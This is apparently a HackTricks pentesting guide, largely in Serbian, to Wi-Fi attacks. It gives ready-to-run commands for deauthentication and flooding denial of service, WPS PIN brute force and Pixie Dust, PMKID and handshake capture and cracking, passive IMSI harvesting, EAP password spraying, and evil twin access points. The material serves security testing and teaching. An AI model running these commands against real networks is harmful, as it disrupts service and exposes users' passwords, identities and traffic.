Pentesting Wifi

Reading time: 37 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne Wifi komande

bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Alati

Hijacker & NexMon (interni Wi-Fi na Androidu)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Pokreni airgeddon koristeći Docker

bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Može izvesti Evil Twin, KARMA i Known Beacons napade, a zatim koristiti phishing template kako bi uspeo da pribavi pravu lozinku mreže ili preuzme akreditive društvenih mreža.

bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Ovaj alat automatizuje WPS/WEP/WPA-PSK napade. Automatski će:

  • Postaviti interfejs u monitor mode
  • Skenirati moguće mreže - I dozvoliti ti da izabereš žrtvu/e
  • Ako je WEP - Pokrenuti WEP napade
  • Ako je WPA-PSK
  • Ako je WPS: Pixie dust attack i brute-force attack (pazi, brute-force napad može potrajati). Napomena da ne pokušava null PIN ili database/generated PINs.
  • Pokušati da uhvati PMKID sa AP-a da bi ga crackovao
  • Pokušati da deauthenticate klijente AP-a da bi uhvatio handshake
  • Ako PMKID ili Handshake, pokušati da bruteforce-uje koristeći top5000 passwords.

Attacks Summary

  • DoS
  • Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client)
  • Random fake APs -- Hide nets, possible crash scanners
  • Overload AP -- Try to kill the AP (usually not very useful)
  • WIDS -- Play with the IDS
  • TKIP, EAPOL -- Some specific attacks to DoS some APs
  • Cracking
  • Crack WEP (several tools and methods)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] -- Useful to capture captive portal creds and/or perform LAN attacks
  • WPA-PSK Evil Twin -- Useful to network attacks if you know the password
  • WPA-MGT -- Useful to capture company credentials
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- Useful to capture captive portal creds and/or perform LAN attacks
  • + WPA -- Useful to capture WPA handshakes

DOS

Deauthentication Packets

Opis iz here:.

Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging "management" frames to prisilno isključiti uređaje sa mreže. Ovi nešifrovani paketi obmanjuju klijente da poveruju da potiču od legitimne mreže, što napadačima omogućava da prikupe WPA handshakes radi cracking-a ili da uporno ometaju mrežne veze. Ova taktika, zabrinjavajuća u svojoj jednostavnosti, široko se koristi i ima značajne implikacije po bezbednost mreža.

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 znači deauthentication
  • 1 je broj deauths koje treba poslati (možete poslati više ako želite); 0 znači da se šalju kontinuirano
  • -a 00:14:6C:7E:40:80 je MAC adresa access point-a
  • -c 00:0F:B5:34:30:30 je MAC adresa klijenta koji treba deauthenticate; ako je ovo izostavljeno, šalje se broadcast deauthentication (ne radi uvek)
  • ath0 je naziv interfejsa

Disassociation Packets

Disassociation packets, slični deauthentication packets, su vrsta management frame-a koja se koristi u Wi-Fi mrežama. Ovi paketi služe za prekid veze između uređaja (na primer laptopa ili smartfona) i access point-a (AP). Osnovna razlika između disassociation i deauthentication leži u njihovim scenarijima upotrebe. Dok AP emituje deauthentication packets da eksplicitno ukloni rogue devices iz mreže, disassociation packets se obično šalju kada AP prolazi kroz gašenje, restart ili premeštanje, pa je potrebno prekinuti veze svih povezanih čvorova.

Ovaj napad se može izvesti pomoću mdk4(mode "d"):

bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Još DOS napada pomoću mdk4

Više na here.

ATTACK MODE b: Beacon Flooding

Šalje beacon frames kako bi prikazao fake APs klijentima. Ovo ponekad može oboriti network scanners, pa čak i drivers!

bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

Slanje authentication frames ka svim dostupnim Access Points (APs) u dometu može preopteretiti ove APs, posebno kada je uključen veliki broj klijenata. Ovaj intenzivan saobraćaj može dovesti do nestabilnosti sistema, zbog čega se neki APs mogu zamrznuti ili čak resetovati.

bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Probing Access Points (APs) proverava da li je SSID pravilno otkriven i potvrđuje domet AP-a. Ova tehnika, u kombinaciji sa bruteforcing hidden SSIDs sa ili bez wordlist, pomaže u identifikaciji i pristupu skrivenim mrežama.

ATTACK MODE m: Michael Countermeasures Exploitation

Slanje nasumičnih ili dupliciranih paketa u različite QoS redove može pokrenuti Michael Countermeasures na TKIP APs, što dovodi do jednominutnog gašenja AP-a. Ova metoda je efikasna DoS (Denial of Service) taktika napada.

bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

Poplavljivanje AP-a sa EAPOL Start frames stvara fake sessions, preopterećujući AP i blokirajući legitimne klijente. Alternativno, ubacivanje fake EAPOL Logoff messages prisilno prekida veze klijenata; obe metode efikasno ometaju mrežnu uslugu.

bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: Napadi na IEEE 802.11s mesh mreže

Razni napadi na upravljanje linkovima i rutiranje u mesh mrežama.

ATTACK MODE w: WIDS Zbunjenje

Povezivanjem klijenata na više WDS čvorova ili lažnih rogue AP-ova može se manipulisati Intrusion Detection and Prevention Systems, stvarajući zbrku i potencijalnu zloupotrebu sistema.

bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

REŽIM NAPADA f: Packet Fuzzer

Packet Fuzzer koji sadrži različite izvore paketa i sveobuhvatan skup modifikatora za manipulaciju paketima.

Airggedon

Airgeddon nudi većinu napada pomenutih u prethodnim komentarima:

WPS

WPS (Wi-Fi Protected Setup) pojednostavljuje proces povezivanja uređaja na ruter, ubrzavajući i olakšavajući podešavanje za mreže šifrovane sa WPA ili WPA2 Personal. Ne deluje na lako kompromitovani WEP. WPS koristi 8-cifreni PIN, proveravan u dva dela, što ga čini podložnim brute-force napadima zbog ograničenog broja kombinacija (≈11.000 mogućnosti).

WPS Bruteforce

Postoje 2 glavna alata za izvođenje ove akcije: Reaver i Bully.

  • Reaver je dizajniran kao robustan i praktičan alat za napad na WPS, i testiran je protiv širokog spektra pristupnih tačaka i WPS implementacija.
  • Bully je new implementation of the WPS brute force attack, napisan u C. Ima nekoliko prednosti u odnosu na originalni reaver kod: manje zavisnosti, poboljšane performanse memorije i CPU, ispravno rukovanje endijanšću, i robusniji skup opcija.

Napad iskorišćava ranjivost WPS PIN-a, posebno otkrivanje prva četiri broja i ulogu poslednje cifre kao kontrolne sume, što olakšava brute-force napad. Međutim, odbrane protiv brute-force napada, poput blocking MAC addresses agresivnih napadača, zahtevaju MAC address rotation da bi se napad nastavio.

Nakon dobijanja WPS PIN-a pomoću alata kao što su Bully ili Reaver, napadač može utvrditi WPA/WPA2 PSK, obezbeđujući persistent network access.

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Ovaj doterani pristup cilja WPS PINs koristeći poznate ranjivosti:

  1. Pre-otkriveni PIN-ovi: Koristite bazu podataka poznatih PIN-ova povezanih sa određenim proizvođačima za koje je poznato da koriste uniformne WPS PIN-ove. Ova baza povezuje prva tri okteta MAC-addresses sa verovatnim PIN-ovima za te proizvođače.
  2. Algoritmi za generisanje PIN-ova: Koristite algoritme poput ComputePIN i EasyBox, koji izračunavaju WPS PIN-ove na osnovu AP-ovog MAC-address. Arcadyan algoritam dodatno zahteva device ID, što dodaje još jedan sloj u procesu generisanja PIN-a.

WPS Pixie Dust attack

Dominique Bongard je otkrio grešku u nekim Access Points (APs) koja se tiče kreiranja tajnih kodova, poznatih kao nonces (E-S1 i E-S2). Ako se ovi nonces mogu otkriti, probijanje AP-ovog WPS PIN-a postaje jednostavno. AP otkriva PIN u posebnom kodu (hash) kako bi dokazao da je legitimna, a ne lažna (rogue) AP. Ti nonces su ustvari "ključevi" za otvaranje "sefa" koji sadrži WPS PIN. Više o tome možete pročitati here.

Jednostavno rečeno, problem je u tome što neki APs nisu koristili dovoljno nasumične ključeve za enkripciju PIN-a tokom procesa povezivanja. To čini PIN podložnim pogađanju izvan mreže (offline brute force attack).

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Ako ne želite da prebacite uređaj u monitor mode, ili ako reaver i bully imaju neki problem, možete probati OneShot-C. Ovaj alat može da izvede Pixie Dust attack bez potrebe za prelaskom u monitor mode.

bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Neki loše dizajnirani sistemi čak omogućavaju da Null PIN (prazan ili nepostojeći PIN) obezbedi pristup, što je prilično neobično. Alat Reaver je u stanju da testira ovu ranjivost, za razliku od Bully.

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Svi predloženi WPS napadi mogu se lako izvesti pomoću airgeddon.

  • 5 i 6 vam omogućavaju da probate vaš prilagođeni PIN (ako ga imate)
  • 7 i 8 izvode Pixie Dust attack
  • 13 vam omogućava da testirate NULL PIN
  • 11 i 12 će prikupiti PIN-ove vezane za izabrani AP iz dostupnih baza podataka i generisati moguće PIN-ove koristeći: ComputePIN, EasyBox i opciono Arcadyan (preporučeno, zašto da ne?)
  • 9 i 10 će testirati svaki mogući PIN

WEP

Veoma ranjiv i danas neupotrebljiv. Samo zapamtite da airgeddon ima WEP opciju nazvanu "All-in-One" za napad na ovu vrstu zaštite. Više alata nudi slične opcije.



WPA/WPA2 PSK

PMKID

  1. godine, hashcat revealed novu metodu napada, jedinstvenu zato što zahteva samo jedan paket i ne zahteva da bilo koji klijent bude povezan na ciljni AP — samo interakciju između napadača i AP-a.

Mnogi moderni ruteri dodaju opciono polje u prvi EAPOL okvir tokom asocijacije, poznato kao Robust Security Network. Ovo uključuje PMKID.

Kao što originalni post objašnjava, PMKID se kreira koristeći poznate podatke:

bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

S obzirom da je "PMK Name" konstantan, znamo BSSID AP-a i station-a, i PMK je identičan onom iz full 4-way handshake, hashcat može iskoristiti ove informacije da crack-uje PSK i recover-uje passphrase!

Da biste gather ove informacije i lokalno bruteforce lozinku, možete uraditi:

bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs captured biće prikazani u console i takođe sačuvani u _ /tmp/attack.pcap_
Sada, konvertujte capture u hashcat/john format i crack it:

bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Obratite pažnju da format ispravnog hash-a sadrži 4 dela, na primer: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Ako vaš sadrži samo 3 dela, onda je neispravan (PMKID capture nije bio validan).

Imajte na umu da hcxdumptool takođe capture handshakes (nešto ovako će se pojaviti: MP:M1M2 RC:63258 EAPOLTIME:17091). Možete pretvoriti te handshakes u hashcat/john format koristeći cap2hccapx

bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Primetio sam da neki handshakes koje je ovaj alat capture-ovao nisu mogli biti cracked čak i kada je poznata tačna lozinka. Preporučujem da, ako je moguće, handshakes snimite i na tradicionalan način, ili da capture-ujete više njih koristeći ovaj alat.

Snimanje handshake-a

Napad na WPA/WPA2 mreže može se izvesti hvatanjem handshake i pokušajem da se crack-uje lozinka offline. Ovaj proces podrazumeva praćenje komunikacije određene mreže i BSSID na određenom channel. Evo pojednostavljenog vodiča:

  1. Identifikujte BSSID, channel, i connected client ciljane mreže.
  2. Koristite airodump-ng za praćenje mrežnog saobraćaja na navedenom channel i BSSID, sa ciljem da capture-ujete handshake. Komanda će izgledati ovako:
bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Da biste povećali šansu za hvatanje handshake-a, privremeno prekinite vezu klijenta sa mrežom kako biste ga primorali na ponovnu autentifikaciju. To se može uraditi korišćenjem aireplay-ng komande, koja šalje deauthentication pakete klijentu:
bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Napomena: budući da je client bio deauthenticated, može pokušati da se poveže na drugi AP ili, u nekim slučajevima, na drugu mrežu.

Kada se u airodump-ng pojave neke informacije o handshake-u, to znači da je handshake uhvaćen i možete prestati da slušate:

Kada je handshake uhvaćen, možete ga crack-ovati pomoću aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Proveri da li handshake postoji u fajlu

aircrack

bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Ako ovaj alat pronađe nepotpun handshake za ESSID pre nego što pronađe kompletan, neće detektovati važeći.

pyrit

bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

U korporativnim WiFi okruženjima naići ćete na različite metode autentikacije, koje pružaju različite nivoe bezbednosti i mogućnosti za upravljanje. Kada koristite alate kao što je airodump-ng da pregledate mrežni saobraćaj, možete primetiti identifikatore za ove tipove autentikacije. Neke uobičajene metode uključuju:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Ova metoda podržava hardware token-e i one-time passwords unutar EAP-PEAP. Za razliku od MSCHAPv2, ne koristi peer challenge i šalje lozinke u plaintext do access point-a, što predstavlja rizik za downgrade attacks.
  1. EAP-MD5 (Message Digest 5):
  • Podrazumeva slanje MD5 heša lozinke sa klijenta. Ne preporučuje se zbog ranjivosti na dictionary attacks, nedostatka server authentication i nemogućnosti generisanja session-specific WEP keys.
  1. EAP-TLS (Transport Layer Security):
  • Koristi klijentske i serverske sertifikate za authentication i može dinamički generisati user-based i session-based WEP keys za zaštitu komunikacije.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Omogućava mutual authentication preko enkriptovanog tunela, zajedno sa metodom za izvođenje dinamičkih, po-korisniku, po-sesiji WEP ključeva. Zahteva samo server-side certificates, dok klijenti koriste credentials.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Funkcioniše slično EAP-u tako što pravi TLS tunel za zaštićenu komunikaciju. Omogućava korišćenje slabijih authentication protokola unutar EAP zbog zaštite koju pruža tunel.
  • PEAP-MSCHAPv2: Često se naziva jednostavno PEAP, kombinuje ranjiv MSCHAPv2 challenge/response mehanizam sa zaštitnim TLS tunelom.
  • PEAP-EAP-TLS (or PEAP-TLS): Slično EAP-TLS ali inicira TLS tunel pre razmene sertifikata, nudeći dodatni sloj bezbednosti.

You can find more information about these authentication methods here and here.

Username Capture

Čitajući https://tools.ietf.org/html/rfc3748#page-27 izgleda da ako koristite EAP "Identity" messages moraju biti supported, i da će username biti poslat u clear u "Response Identity" messages.

Čak i koristeći jednu od najsigurnijih metoda autentikacije: PEAP-EAP-TLS, moguće je capture the username sent in the EAP protocol. Da biste to uradili, capture a authentication communication (pokrenite airodump-ng na kanalu i wireshark u istom interfejsu) i filtrirajte pakete po eapol.
Unutar "Response, Identity" paketa pojaviće se username klijenta.

Anonymous Identities

Sakrivanje identiteta je podržano i u EAP-PEAP i u EAP-TTLS. U kontekstu WiFi mreže, EAP-Identity zahtev obično inicira access point (AP) tokom procesa asociacije. Da bi se zaštitila anonimnost korisnika, odgovor EAP klijenta na korisničkom uređaju sadrži samo suštinske informacije potrebne početnom RADIUS serveru da obradi zahtev. Ovaj koncept ilustruju sledeći scenariji:

  • EAP-Identity = anonymous
  • U ovom scenariju, svi korisnici koriste pseudonim "anonymous" kao svoj korisnički identifikator. Početni RADIUS server funkcioniše kao EAP-PEAP ili EAP-TTLS server, odgovoran za upravljanje serverskom stranom PEAP ili TTLS protokola. Inner (protected) authentication metoda se potom ili lokalno obrađuje ili prosleđuje udaljenom (home) RADIUS serveru.
  • EAP-Identity = anonymous@realm_x
  • U ovoj situaciji, korisnici iz različitih realm-ova skrivaju svoje identitete dok istovremeno navode svoje odgovarajuće realm-ove. To omogućava početnom RADIUS serveru da prokси EAP-PEAP ili EAP-TTLS zahteve ka RADIUS serverima u njihovim home realm-ovima, koji deluju kao PEAP ili TTLS server. Početni RADIUS server tada radi isključivo kao RADIUS relay node.
  • Alternativno, početni RADIUS server može funkcionisati kao EAP-PEAP ili EAP-TTLS server i ili obraditi protected authentication metodu ili je proslediti drugom serveru. Ova opcija omogućava konfiguraciju različitih politika za različite realm-ove.

U EAP-PEAP, kad je TLS tunel uspostavljen između PEAP servera i PEAP klijenta, PEAP server inicira EAP-Identity request i prosleđuje ga kroz TLS tunel. Klijent odgovara na ovaj drugi EAP-Identity zahtev slanjem EAP-Identity response koji sadrži stvarni identitet korisnika kroz enkriptovani tunel. Ovaj pristup efikasno sprečava otkrivanje stvarnog identiteta korisnika svima koji prisluškuju 802.11 saobraćaj.

EAP-TTLS prati malo drugačiju proceduru. Sa EAP-TTLS, klijent obično autentifikuje koristeći PAP ili CHAP, zaštićeno TLS tunelom. U tom slučaju, klijent uključuje User-Name atribut i ili Password ili CHAP-Password atribut u inicijalnu TLS poruku poslatu nakon uspostavljanja tunela.

Bez obzira na izabrani protokol, PEAP/TTLS server saznaje stvarni identitet korisnika nakon što je TLS tunel uspostavljen. Stvarni identitet može biti predstavljen kao user@realm ili jednostavno user. Ako PEAP/TTLS server takođe vrši autentikaciju korisnika, on sada poseduje korisnički identitet i nastavlja sa authentication metodom zaštićenom TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev ka korisnikovom home RADIUS serveru. Ovaj novi RADIUS zahtev izostavlja PEAP ili TTLS sloj protokola. U slučajevima kada je zaštićena authentication metoda EAP, inner EAP poruke se prenose do home RADIUS servera bez EAP-PEAP ili EAP-TTLS omotača. User-Name atribut izlazne RADIUS poruke sadrži stvarni identitet korisnika, zamenjujući anonymous User-Name iz dolaznog RADIUS zahteva. Kada je zaštićena authentication metoda PAP ili CHAP (podržano samo od strane TTLS), User-Name i drugi authentication atributi izvučeni iz TLS payload-a se zamenjuju u izlaznoj RADIUS poruci, istiskujući anonymous User-Name i TTLS EAP-Message atribute iz dolaznog RADIUS zahteva.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Kliknite da proširite
bash
# 1) Enable monitor mode
airmon-ng start wlan0

# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>

# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
#   eap || eapol
#   (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
#   tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
#   20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

Napomene:

  • Radi pre bilo kog TLS tunela ako deployment koristi gol EAP‑SIM/AKA bez zaštićenog identiteta/psevdonima.
  • Izložena vrednost je trajni identifikator vezan za pretplatnikov SIM; njegovo sakupljanje omogućava dugoročno praćenje i kasnije telekom zloupotrebe.

Uticaj

  • Privatnost: trajno praćenje korisnika/uređaja iz pasivnih Wi‑Fi snimaka na javnim mestima.
  • Olakšavanje telekom zloupotrebe: sa IMSI-jem, napadač sa pristupom SS7/Diameter može upitom dobiti lokaciju ili pokušati presretanje poziva/SMS i krađu MFA.

Ublažavanja / na šta obratiti pažnju

  • Proverite da klijenti koriste anonimne spoljne identitete (psevdonime) za EAP‑SIM/AKA u skladu sa 3GPP smernicama (npr. 3GPP TS 33.402).
  • Preferirajte tunelovanje faze identiteta (npr. EAP‑TTLS/PEAP koji nosi unutrašnji EAP‑SIM/AKA) tako da IMSI nikad ne bude poslat nešifrovano.
  • Paketni snimci procesa povezivanja/autentikacije ne bi smeli da otkriju sirovi IMSI u EAP-Response/Identity.

Related: Telecom signalling exploitation with captured mobile identifiers Telecom Network Exploitation

EAP-Bruteforce (password spray)

If the client is expected to use a username and password (notice that EAP-TLS won't be valid in this case), then you could try to get a list a usernames (see next part) and passwords and try to bruteforce the access using air-hammer.

bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Takođe možete izvesti ovaj napad koristeći eaphammer:

bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Teorija napada na klijente

Odabir mreže i roaming

  • 802.11 protokol definiše kako stanica pristupa Extended Service Set (ESS), ali ne specificira kriterijume za odabir ESS-a ili AP-a unutar njega.
  • Stanice mogu da prelaze između AP-a koji dele isti ESSID, održavajući konektivnost kroz zgradu ili područje.
  • Protokol zahteva autentifikaciju stanice prema ESS-u, ali ne nalaže autentifikaciju AP-a prema stanici.

Lista preferiranih mreža (PNLs)

  • Stanice čuvaju ESSID svake bežične mreže na koju se povezuju u svojoj listi preferiranih mreža (PNL), zajedno sa konfiguracionim detaljima specifičnim za mrežu.
  • PNL se koristi za automatsko povezivanje na poznate mreže, poboljšavajući korisničko iskustvo pojednostavljivanjem procesa povezivanja.

Pasivno skeniranje

  • AP-ovi periodično emituju beacon frames, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a osim ako broadcasting nije onemogućen.
  • Tokom pasivnog skeniranja, stanice slušaju beacon frames. Ako ESSID u beakonu odgovara unosu u PNL-u stanice, stanica se može automatski povezati na taj AP.
  • Poznavanje PNL-a uređaja omogućava potencijalnu zloupotrebu imitiranjem ESSID-a poznate mreže, dovodeći uređaj da se poveže na rogue AP.

Aktivno sondiranje

  • Aktivno sondiranje podrazumeva da stanice šalju probe requests da bi otkrile obližnje AP-e i njihove karakteristike.
  • Directed probe requests ciljaju specifičan ESSID, pomažući da se otkrije da li je određena mreža u opsegu, čak i ako je skrivena mreža.
  • Broadcast probe requests imaju null polje za SSID i šalju se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svog PNL-a.

Jednostavan AP sa preusmeravanjem na Internet

Pre nego što objasnimo kako izvesti složenije napade, biće objašnjeno kako jednostavno kreirati AP i preusmeriti njegov saobraćaj na interfejs povezan sa Internet-om.

Koristeći ifconfig -a proverite da li su wlan interfejs koji će se koristiti za kreiranje AP-a i interfejs povezan na Internet prisutni.

DHCP & DNS

bash
apt-get install dnsmasq #Manages DHCP and DNS

Kreirajte konfiguracioni fajl /etc/dnsmasq.conf:

ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Zatim set IPs i routes:

bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Zatim pokrenite dnsmasq:

bash
dnsmasq -C dnsmasq.conf -d

hostapd

bash
apt-get install hostapd

Kreirajte konfiguracioni fajl hostapd.conf:

ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Zaustavite dosadne procese , postavite monitor mode, i pokrenite hostapd:

bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Prosleđivanje i preusmeravanje

bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

An evil twin attack iskorištava način na koji WiFi klijenti prepoznaju mreže, oslanjajući se prvenstveno na ime mreže (ESSID) bez potrebe da base station (access point) autentifikuje sebe klijentu. Ključne tačke uključuju:

  • Difficulty in Differentiation: Uređaji imaju poteškoća da razlikuju legitimne i zlonamerne access points kada dele isti ESSID i tip enkripcije. Stvarne mreže često koriste više access points sa istim ESSID-om kako bi neprimetno proširile pokrivenost.
  • Client Roaming and Connection Manipulation: Protokol 802.11 omogućava uređajima da se premeštaju između access points unutar istog ESS. Napadači to mogu iskoristiti tako što će nagnati uređaj da prekine vezu sa svojom trenutnom base station i poveže se na zlonamerni access point. To se može postići nudeći jači signal ili narušavanjem veze sa legitimnim access point-om metodama kao što su deauthentication packets ili jamming.
  • Challenges in Execution: Uspešna izvedba evil twin napada u okruženjima sa više, dobro postavljenih access points može biti izazovna. Deauthenticating jednog legitimnog access point-a često dovodi do toga da se uređaj poveže na drugi legitimni access point, osim ako napadač ne može deauthenticate all nearby access points ili strateški postaviti zlonamerni access point.

Možete napraviti vrlo osnovni Open Evil Twin (bez mogućnosti da usmeravate saobraćaj na Internet) radeći:

bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Takođe možete napraviti Evil Twin koristeći eaphammer (napomena: da biste kreirali evil twins sa eaphammer, interfejs should NOT be u monitor modu):

bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

